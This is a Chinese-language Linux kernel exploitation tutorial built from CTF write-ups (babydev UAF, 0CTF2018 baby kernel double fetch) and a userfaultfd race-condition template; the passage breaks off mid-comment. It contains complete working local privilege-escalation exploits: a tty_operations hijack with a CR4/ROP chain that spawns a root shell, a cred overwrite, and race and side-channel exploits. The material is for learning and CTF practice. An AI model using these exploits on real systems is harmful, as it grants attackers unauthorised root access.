接下来考虑如何通过 UAF 劫持程序执行流

tty_operations:tty 设备操作关联函数表

/dev 下有一个伪终端设备 ptmx ,在我们打开这个设备时内核中会创建一个 tty_struct 结构体,与其他类型设备相同,tty驱动设备中同样存在着一个存放着函数指针的结构体 tty_operations

那么我们不难想到的是我们可以通过 UAF 劫持 /dev/ptmx 这个设备的 tty_struct 结构体与其内部的 tty_operations 函数表,那么在我们对这个设备进行相应操作(如write、ioctl)时便会执行我们布置好的恶意函数指针

由于没有开启SMAP保护,故我们可以在用户态进程的栈上布置ROP链与fake tty_operations结构体

结构体tty_struct位于include/linux/tty.h中,tty_operations位于include/linux/tty_driver.h

内核中没有类似one_gadget一类的东西,因此为了完成ROP我们还需要进行一次栈迁移

使用gdb进行调试,观察内核在调用我们的恶意函数指针时各寄存器的值,我们在这里选择劫持tty_operaionts结构体到用户态的栈上,并选择任意一条内核gadget作为fake tty函数指针以方便下断点:

image.png

我们不难观察到,在我们调用tty_operations->write时,其rax寄存器中存放的便是tty_operations结构体的地址,因此若是我们能够在内核中找到形如mov rsp, rax的gadget,便能够成功地将栈迁移到tty_operations结构体的开头

使用ROPgadget查找相关gadget,发现有两条符合我们要求的gadget:

image.png

gdb调试,发现第一条gadget其实等价于mov rsp, rax ; dec ebx ; ret

image.png

那么利用这条gadget我们便可以很好地完成栈迁移的过程,执行我们所构造的ROP链

tty_operations结构体开头到其write指针间的空间较小,因此我们还需要进行二次栈迁移,这里随便选一条改rax的gadget即可

image.png

需要注意的是计算相应结构体大小时应当选取与题目相同版本的内核源码

最终的exploit应当如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>

#define POP_RDI_RET 0xffffffff810d238d
#define POP_RAX_RET 0xffffffff8100ce6e
#define MOV_CR4_RDI_POP_RBP_RET 0xffffffff81004d80
#define MOV_RSP_RAX_DEC_EBX_RET 0xffffffff8181bfc5
#define SWAPGS_POP_RBP_RET 0xffffffff81063694
#define IRETQ_RET 0xffffffff814e35ef

size_t commit_creds = NULL, prepare_kernel_cred = NULL;

size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void getRootPrivilige(void)
{
void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

void getRootShell(void)
{
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}

printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}

int main(void)
{
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
saveStatus();

//get the addr
FILE* sym_table_fd = fopen("/proc/kallsyms", "r");
if(sym_table_fd < 0)
{
printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
exit(-1);
}
char buf[0x50], type[0x10];
size_t addr;
while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
{
if(prepare_kernel_cred && commit_creds)
break;

if(!commit_creds && !strcmp(buf, "commit_creds"))
{
commit_creds = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
continue;
}

if(!strcmp(buf, "prepare_kernel_cred"))
{
prepare_kernel_cred = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
continue;
}
}

size_t rop[0x20], p = 0;
rop[p++] = POP_RDI_RET;
rop[p++] = 0x6f0;
rop[p++] = MOV_CR4_RDI_POP_RBP_RET;
rop[p++] = 0;
rop[p++] = getRootPrivilige;
rop[p++] = SWAPGS_POP_RBP_RET;
rop[p++] = 0;
rop[p++] = IRETQ_RET;
rop[p++] = getRootShell;
rop[p++] = user_cs;
rop[p++] = user_rflags;
rop[p++] = user_sp;
rop[p++] = user_ss;

size_t fake_op[0x30];
for(int i = 0; i < 0x10; i++)
fake_op[i] = MOV_RSP_RAX_DEC_EBX_RET;

fake_op[0] = POP_RAX_RET;
fake_op[1] = rop;

int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);

ioctl(fd1, 0x10001, 0x2e0);
close(fd1);

size_t fake_tty[0x20];
int fd3 = open("/dev/ptmx", 2);
read(fd2, fake_tty, 0x40);
fake_tty[3] = fake_op;
write(fd2, fake_tty, 0x40);

write(fd3, buf, 0x8);

return 0;
}

本地打包,运行,成功提权到root

image.png

这道题在当年的解法据悉是通过 UAF 修改该进程的 cred 结构体的 uid、gid 为0,十分简单十分白给

但是此种方法在较新版本 kernel 中已不可行,因为 cred 结构体的内存分配会单独从名为 cred_jar 的 slub中取,而并非常规的 kmalloc-xx

1
2
3
4
5
6
7
8
9
10
11
12
struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
const struct cred *old;
struct cred *new;

new = kmem_cache_alloc(cred_jar, GFP_KERNEL);// from
if (!new)
return NULL;

kdebug("prepare_kernel_cred() alloc %p", new);

...

既然现在新的保护机制都出来了,那笔者认为在学习 kernel UAF 的过程中忽视掉这一点便是自欺欺人,故这里便不再考虑以前旧的做法,感兴趣的参考如下exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>

int main(void)
{
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");

int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);

ioctl(fd1, 0x10001, 0xa8);
close(fd1);

int pid = fork();

if(pid < 0)
{
printf("\033[31m\033[1m[x] Unable to fork the new thread, exploit failed.\033[0m\n");
return -1;
}
else if(pid == 0) // the child thread
{
char buf[30] = {0};
write(fd2, buf, 28);

if(getuid() == 0)
{
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
return 0;
}
else
{
printf("\033[31m\033[1m[x] Unable to get the root, exploit failed.\033[0m\n");
return -1;
}
}
else // the parent thread
{
wait(NULL);//waiting for the child
}

return 0;
}

0x05.Kernel Heap - Heap Overflow

例题:*CTF2019 - hackme

Off by One

例题:0CTF2017 - knote

Slab Freelist Hardened bypass

类似于用户态下 glibc 中的 safe-linking 机制,在内核中的 slab/slub 分配器当中也存在着类似的机制保护着 freelist—— SLAB_FREELIST_HARDENED

对于 freelist 中存储的 object,其 fd 所存储的值为current object addr 与 next object addr 与 slub cookie这三个值异或所得的值,这要求我们在构造任意地址写时需要同时知道这三个值才能通过内核中的检测

不过 kmalloc 并不会清空 object 上数据,我们仍可以通过重分配的方式从 object 上残留的 dirty data 中获取到 slub cookie,再通过其他方式泄露内核堆地址后便能重新进行任意地址写

在编译内核时在 .config 中添加编译选项 CONFIG_SLAB_FREELIST_HARDENED=y 即可开启这种加固机制

例题:强网杯2021线上赛 - notebook

这题要用到 userfaultfd,放后面讲

0x06.条件竞争(Race condition)

通常情况下在用户态下的 pwn 当中我们只有一个独立运行的主线程,并不存在所谓条件竞争的情况,但在 kernel pwn 当中由攻击者负责编写用户态程序,可以很轻易地启动多个线程同时运行,从而轻易地产生条件竞争

不过近年来随着 glibc pwn 的套路逐渐挖掘殆尽,用户态下的 pwn 题也开始逐渐脱离 glibc 本身的利用而向多个其他方向发展,其中一个热门方向便是用户态下多线程造成条件竞争

还有一个逐渐热门的方向便是 musl C 堆利用

double fetch

double fetch 直译就是 取值两次,直接理解就是在一次操作当中要两次(或是多次)重新获取某个对象的值,可能出现在下面这种情况当中:

  • 有一大段数据要从用户空间传给内核空间,但是直接传送整块数据会造成较大的开销,故选择只向内核传送一个指向用户地址空间的指针
  • 在后续的操作当中内核需要多次通过该指针获取到用户空间的数据

例如:内核第一次先获取数据进行合法性验证,第二次再获取数据进行使用(如下图所示)

不难看出,若是整个操作流程过长,则用户进程便有机会修改这一块数据,使得内核在两次访问这块空间时所获得的数据不一致,从而使得内核进入不同的执行流程,用户进程甚至可以直接开新的线程进行竞争来实现这个效果

通过在 first fetch 与 second fetch 之间的空挡修改数据从而改变内核执行流的利用手法便被称之为double fetch

例题:0CTF2018 Final - baby kernel

分析

首先查看启动脚本,基本没开额外的保护

1
2
3
4
5
6
7
8
qemu-system-x86_64 \
-m 256M -smp 2,cores=2,threads=1 \
-kernel ./vmlinuz-4.15.0-22-generic \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet" \
-cpu qemu64 \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

解压文件系统,发现可疑驱动文件 baby.ko,惯例地 checksec,只开了 NX

image.png

拖入 IDA 进行分析,只简单地定义了一个 ioctl

image.png

其中参数 0x6666 可以获得 flag 在内核中的地址,参数 0x1337 则会将我们传入的 flag 与真正的 flag 进行对比,若正确则会将 flag 打印出来

测试一下,dmesg 权限开了,整挺好

image.png

简单分析可知我们应当传入如下结构体:

1
2
3
4
5
struct flag
{
char * flag_addr;
int flag_len;
};

其中 flag_len 参数与 flag 的长度对比,在 .ko 文件中 flag 的长度为 33

0x1337 功能当中还会通过 _chk_range_not_ok() 函数检查我们传入的地址范围是否合法:

image.png

add 指令会影响 CF(产生进位/借位)和 OF(两数最高位相同,结果最高位改变)标志位,v3获得的就是两数相加的 CF 位,这里一般为0(除非你传入 0xffffffffffffffff 附近的数),所以我们直接看另一个判断:a3 是否小于 v4

a3 为 current_task 的地址加上 0x1358 处所存地址,大概是 task_struct->thread->fpu->state 这个联合体内的某个位置上存的一个值,而 v4 则是我们传入的 flag 最后一个字节的地址,即我们传入的 flag 的地址不能够大于这个值

切 root 调一下我们可以发现这个值为 0x7ffffffff000

image.png

这个位置刚好是用户地址空间的栈底,即我们传入的 flag 的地址不能为用户地址空间外的地址

image.png

利用

虽然 flag 存储的地址已知,但是位于内核地址空间当中,我们将之直接传给模块并不能通过验证,那么这里就考虑 double fetch——先传入一个用户地址空间上的合法地址,开另一个线程进行竞争不断修改其为内核空间 flag 的地址,只要有一次命中我们便能获得 flag

exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>

pthread_t compete_thread;
void * real_addr;
char buf[0x20] = "arttnba3";
int competetion_times = 0x1000, status = 1;
struct
{
char * flag_addr;
int flag_len;
}flag = {.flag_addr = buf, .flag_len = 33};

void * competetionThread(void)
{
while (status)
{
for (int i = 0; i < competetion_times; i++)
flag.flag_addr = real_addr;
}
}

int main(int argc, char ** argv, char ** envp)
{
int fd, result_fd, addr_fd;
char * temp, *flag_addr_addr;

fd = open("/dev/baby", O_RDWR);
ioctl(fd, 0x6666);
system("dmesg | grep flag > addr.txt");
temp = (char*) malloc(0x1000);
addr_fd = open("./addr.txt", O_RDONLY);
temp[read(addr_fd, temp, 0x100)] = '\0';
flag_addr_addr = strstr(temp, "Your flag is at ") + strlen("Your flag is at ");
real_addr = strtoull(flag_addr_addr, flag_addr_addr + 16, 16);
printf("[+] flag addr: %llx", real_addr);

pthread_create(&compete_thread, NULL, competetionThread, NULL);
while (status)
{ for(int i = 0; i < competetion_times; i++)
{
flag.flag_addr = buf;
ioctl(fd, 0x1337, &flag);
}
system("dmesg | grep flag > result.txt");
result_fd = open("./result.txt", O_RDONLY);
read(result_fd, temp, 0x1000);
if (strstr(temp, "flag{"))
status = 0;
}
pthread_cancel(compete_thread);

printf("[+] competetion end!");
system("dmesg | grep flag");

return 0;
}

运行即得 flag

image.png

笔者原本想用 fscanf 读入 flag 地址,但是不明原因一直不能成功,然后又换了 sscanf 也不能成功…最后只好换了 strtoull …

extra:测信道攻击

在进行比对时并没有检验 flag 地址的合法性,考虑如下内存布局:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/*
| | <---- unallocated page
| |
| |
|------------------------------|
| |
| |
| |
| | <---- page alloc by mmap
| |
| |
| flag{...X|
|------------------------------|
| |
| |
| | <---- unallocated page
*/

我们将 flag 放在通过 mmap 分配而来的内存页的末尾,其最后一个字符 X 是我们将要爆破的未知字符

对于待比对字符 X 而言,若是比对失败则 ioctl 会直接返回,若是比对成功则指针移动到下一张内存页中进行解引用,此时将会直接造成 kernel panic

由于 flag 被硬编码在 .ko 文件中,故通过是否造成 kernel panic 可以逐字符爆破 flag 内容

ASCII 可见字符 95 个,flag 长度 33,开头 flag{ 末尾 } 减去6个字符,最多只需要爆破 26 * 95 = 2470 次便能够获得 flag

比较需要耐心(因为打远程传文件很麻烦),这里附上一个比较方便的 exp,不用每次打都重新编译一次,只需要将 flag 作为参数传进去就行了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include<sys/mman.h>
#include<sys/types.h>

struct
{
char * flag_addr;
int flag_len;
}flag = { .flag_len = 33};

int main(int argc, char ** argv, char ** envp)
{
int fd, flag_len;
char * buf, *flag_addr;

if (argc < 2)
{
puts("usage: ./exp flag");
exit(-1);
}
flag_len = strlen(argv[1]);

fd = open("/dev/baby", O_RDWR);
buf = (char*) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0);
flag_addr = buf + 0x1000 - flag_len;
memcpy(flag_addr, argv[1], flag_len);
flag.flag_addr = flag_addr;
ioctl(fd, 0x1337, &flag);

return 0;
}

比如说这里的测试 flag 是 flag{THIS_IS_A_FLAG_1234},如下图所示,我们成功通过 kernel panic 得知 flag 的第一个字符为 T

当然,若是能够优化成纯汇编代码,可执行文件的体积将能够再缩小一个档次,大大降低爆破次数,笔者比较懒,这里便不再给出优化后的汇编代码

当然,不到万不得已基本上不会用这种累死人的方法

userfaultfd

看起来 userfaultfd 只是一个常规的与处理缺页异常相关的系统调用,但是通过这个机制我们可以控制进程执行流程的先后顺序,从而使得对条件竞争的利用成功率大幅提高

考虑在内核模块当中有一个菜单堆的情况,其中的操作都没有加锁,存在条件竞争的可能,考虑如下竞争情况:

  • 线程1不断地分配与编辑堆块
  • 线程2不断地释放堆块

此时线程1便有可能编辑到被释放的堆块,若是此时恰好我们又将这个堆块申请到了合适的位置(比如说 tty_operations),那么我们便可以控制程序执行流(也可以是编辑释放后堆块的 fd,然后实现任意地址写)

但是毫无疑问的是,若是直接开两个线程进行竞争,命中的几率是比较低的,我们也很难判断是否命中

但假如线程1使用注诸如 copy_from_user 等方法从用户空间向内核空间拷贝数据,那么我们便可以先用 mmap 分一块匿名内存,为其注册 userfaultfd,之后线程1在内核中触发缺页异常时便会陷入阻塞,此时我们便可以开另一个线程将这块内存释放掉,然后再分配到我们想要的地方(比如说 tty_operations),此时再让线程1继续执行,便能向我们想要读写的目标读写特定数据了,这使得条件竞争的命中率大幅提高

userfaultfd 的具体用法

以下代码参考自 Linux man page,略有改动

首先定义接下来需要用到的一些数据结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <poll.h>

void errExit(char * msg)
{
puts(msg);
exit(-1);
}
//...

long uffd; /* userfaultfd file descriptor */
char *addr; /* Start of region handled by userfaultfd */
unsigned long len; /* Length of region handled by userfaultfd */
pthread_t thr; /* ID of thread that handles page faults */
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;

首先通过 userfaultfd 系统调用注册一个 userfaultfd,其中 O_CLOEXECO_NONBLOCK 和 open 的 flags 相同,笔者个人认为这里可以理解为我们创建了一个虚拟设备 userfault

这里用 mmap 分一个匿名页用作后续被监视的区域

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/* Create and enable userfaultfd object */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
errExit("userfaultfd");

uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
errExit("ioctl-UFFDIO_API");

/* Create a private anonymous mapping. The memory will be
demand-zero paged--that is, not yet allocated. When we
actually touch the memory, it will be allocated via
the userfaultfd. */
len = 0x1000;
addr = (char*) mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED)
errExit("mmap");

为这块内存区域注册 userfaultfd

1
2
3
4
5
6
7
8
9
/* Register the memory range of the mapping we just created for
handling by the userfaultfd object. In mode, we request to track
missing pages (i.e., pages that have not yet been faulted in). */

uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
errExit("ioctl-UFFDIO_REGISTER");

启动 monitor 轮询线程,整个 userfaultfd 的启动流程就结束了,接下来便是等待缺页异常的过程

1
2
3
4
5
/* Create a thread that will process the userfaultfd events */
int s = pthread_create(&thr, NULL, fault_handler_thread, (void *) uffd);
if (s != 0) {
errExit("pthread_create");
}

monitor 轮询线程应当定义如下形式,这里给出的是 UFFD_COPY,即将自定义数据拷贝到 faulting page 上:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
static int page_size;

static void *
fault_handler_thread(void *arg)
{
static struct uffd_msg msg; /* Data read from userfaultfd */
static int fault_cnt = 0; /* Number of faults so far handled */
long uffd; /* userfaultfd file descriptor */
static char *page = NULL;
struct uffdio_copy uffdio_copy;
ssize_t nread;

page_size = sysconf(_SC_PAGE_SIZE);

uffd = (long) arg;

/* Create a page that will be copied into the faulting region */

if (page == NULL)
{
page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
errExit("mmap");
}

/* Loop, handling incoming events on the userfaultfd
file descriptor */

for (;;)
{
/* See what poll() tells us about the userfaultfd */

struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready == -1)
errExit("poll");

printf("\nfault_handler_thread():\n");
printf(" poll() returns: nready = %d; "
"POLLIN = %d; POLLERR = %d\n", nready,
(pollfd.revents & POLLIN) != 0,
(pollfd.revents & POLLERR) != 0);

/* Read an event from the userfaultfd */

nread = read(uffd, &msg, sizeof(msg));
if (nread == 0)
{
printf("EOF on userfaultfd!\n");
exit(EXIT_FAILURE);
}

if (nread == -1)
errExit("read");

/* We expect only one kind of event; verify that assumption */

if (msg.event != UFFD_EVENT_PAGEFAULT)
{
fprintf(stderr, "Unexpected event on userfaultfd\n");
exit(EXIT_FAILURE);
}
/* Display info about the page-fault event */

printf(" UFFD_EVENT_PAGEFAULT event: ");
printf("flags = %llx; ", msg.arg.pagefault.flags);
printf("address = %llx\n", msg.arg.pagefault.address);

/* Copy the page pointed to by 'page' into the faulting
region. Vary the contents that are copied in, so that it
is more obvious that each fault is handled separately. */

memset(page, 'A' + fault_cnt % 20, page_size);
fault_cnt++;

uffdio_copy.src = (unsigned long) page;

/* We need to handle page faults in units of pages(!).
So, round faulting address down to page boundary */

uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");

printf(" (uffdio_copy.copy returned %lld)\n",
uffdio_copy.copy);
}
}

有人可能注意到了 uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1); 这个奇怪的句子,在这里作用是将触发缺页异常的地址按页对齐作为后续拷贝的起始地址

比如说触发的地址可能是 0xdeadbeef,直接从这里开始拷贝一整页的数据就拷歪了,应当从 0xdeadb000 开始拷贝(假设页大小 0x1000)

例程

测试例程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <poll.h>

static int page_size;

void errExit(char * msg)
{
printf("[x] Error at: %s\n", msg);
exit(-1);
}

static void *
fault_handler_thread(void *arg)
{
static struct uffd_msg msg; /* Data read from userfaultfd */
static int fault_cnt = 0; /* Number of faults so far handled */
long uffd; /* userfaultfd file descriptor */
static char *page = NULL;
struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long) arg;

/* Create a page that will be copied into the faulting region */

if (page == NULL)
{
page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
errExit("mmap");
}

/* Loop, handling incoming events on the userfaultfd
file descriptor */

for (;;)
{
/* See what poll() tells us about the userfaultfd */

struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready == -1)
errExit("poll");

printf("\nfault_handler_thread():\n");
printf(" poll() returns: nready = %d; "
"POLLIN = %d; POLLERR = %d\n", nready,
(pollfd.revents & POLLIN) != 0,
(pollfd.revents & POLLERR) != 0);

/* Read an event from the userfaultfd */

nread = read(uffd, &msg, sizeof(msg));
if (nread == 0)
{
printf("EOF on userfaultfd!\n");
exit(EXIT_FAILURE);
}

if (nread == -1)
errExit("read");

/* We expect only one kind of event; verify that assumption */

if (msg.event != UFFD_EVENT_PAGEFAULT)
{
fprintf(stderr, "Unexpected event on userfaultfd\n");
exit(EXIT_FAILURE);
}
/* Display info about the page-fault event */

printf(" UFFD_EVENT_PAGEFAULT event: ");
printf("flags = %llx; ", msg.arg.pagefault.flags);
printf("address = %llx\n", msg.arg.pagefault.address);

/* Copy the page pointed to by 'page' into the faulting
region. Vary the contents that are copied in, so that it
is more obvious that each fault is handled separately. */

memset(page, 'A' + fault_cnt % 20, page_size);
fault_cnt++;

uffdio_copy.src = (unsigned long) page;

/* We need to handle page faults in units of pages(!).
So, round faulting address down to page boundary */

uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");

printf(" (uffdio_copy.copy returned %lld)\n",
uffdio_copy.copy);
}
}


int main(int argc, char ** argv, char ** envp)
{
long uffd; /* userfaultfd file descriptor */
char *addr; /* Start of region handled by userfaultfd */
unsigned long len; /* Length of region handled by userfaultfd */
pthread_t thr; /* ID of thread that handles page faults */
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;

page_size = sysconf(_SC_PAGE_SIZE);

/* Create and enable userfaultfd object */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
errExit("userfaultfd");

uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
errExit("ioctl-UFFDIO_API");

/* Create a private anonymous mapping. The memory will be
demand-zero paged--that is, not yet allocated. When we
actually touch the memory, it will be allocated via
the userfaultfd. */
len = 0x1000;
addr = (char*) mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED)
errExit("mmap");

/* Register the memory range of the mapping we just created for
handling by the userfaultfd object. In mode, we request to track
missing pages (i.e., pages that have not yet been faulted in). */

uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
errExit("ioctl-UFFDIO_REGISTER");

/* Create a thread that will process the userfaultfd events */
int s = pthread_create(&thr, NULL, fault_handler_thread, (void *) uffd);
if (s != 0)
errExit("pthread_create");

/* Trigger the userfaultfd event */
void * ptr = (void*) *(unsigned long long*) addr;
printf("Get data: %p\n", ptr);

return 0;
}

起个虚拟机跑一下,我们可以看到在我们监视的匿名页内成功地被我们写入了想要的数据

新版本内核对抗 userfaultfd 在 race condition 中的利用

正所谓“没有万能的银弹”,可能有的人会发现在较新版本的内核中 userfaultfd 系统调用无法成功启动:

image.png

这是因为在较新版本的内核中为 userfaultfd 添加了一些限制:

来自 linux-5.11 源码fs/userfaultfd.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
SYSCALL_DEFINE1(userfaultfd, int, flags)
{
struct userfaultfd_ctx *ctx;
int fd;

if (!sysctl_unprivileged_userfaultfd &&
(flags & UFFD_USER_MODE_ONLY) == 0 &&
!capable(CAP_SYS_PTRACE)) {
printk_once(KERN_WARNING "uffd: Set unprivileged_userfaultfd "
"sysctl knob to 1 if kernel faults must be handled "
"without obtaining CAP_SYS_PTRACE capability\n");
return -EPERM;
}
//...

在较新版本内核中只有 root 权限才能使用 userfaultfd,这或许意味着刚刚进入大众视野的 userfaultfd 可能又将逐渐淡出大众视野(微博@来去之间),但不可否认的是,userfaultfd 确乎为我们在 Linux kernel 中的条件竞争利用提供了一个全新的思路与一种极其稳定的利用手法

CTF 中的 userfaultfd 板子

userfaultfd 的整个操作流程比较繁琐,故笔者现给出如下板子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
static pthread_t monitor_thread;

void errExit(char * msg)
{
printf("[x] Error at: %s\n", msg);
exit(EXIT_FAILURE);
}

void registerUserFaultFd(void * addr, unsigned long len, void (*handler)(void*))
{
long uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;

/* Create and enable userfaultfd object */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
errExit("userfaultfd");

uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
errExit("ioctl-UFFDIO_API");

uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
errExit("ioctl-UFFDIO_REGISTER");

s = pthread_create(&monitor_thread, NULL, handler, (void *) uffd);
if (s != 0)
errExit("pthread_create");
}

在使用时直接调用即可:

1
registerUserFaultFd(addr, len, handler);

需要注意的是 handler 的写法,这里直接照抄 Linux man page 改了改,可以根据个人需求进行个性化改动:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
static char *page = NULL; // 你要拷贝进去的数据
static long page_size;

static void *
fault_handler_thread(void *arg)
{
static struct uffd_msg msg;
static int fault_cnt = 0;
long uffd;

struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long) arg;

for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);

/*
* [在这停顿.jpg]
* 当 poll 返回时说明出现了缺页异常
* 你可以在这里插入一些自定义的代码,比如说获取锁或者 sleep() 一类的操作
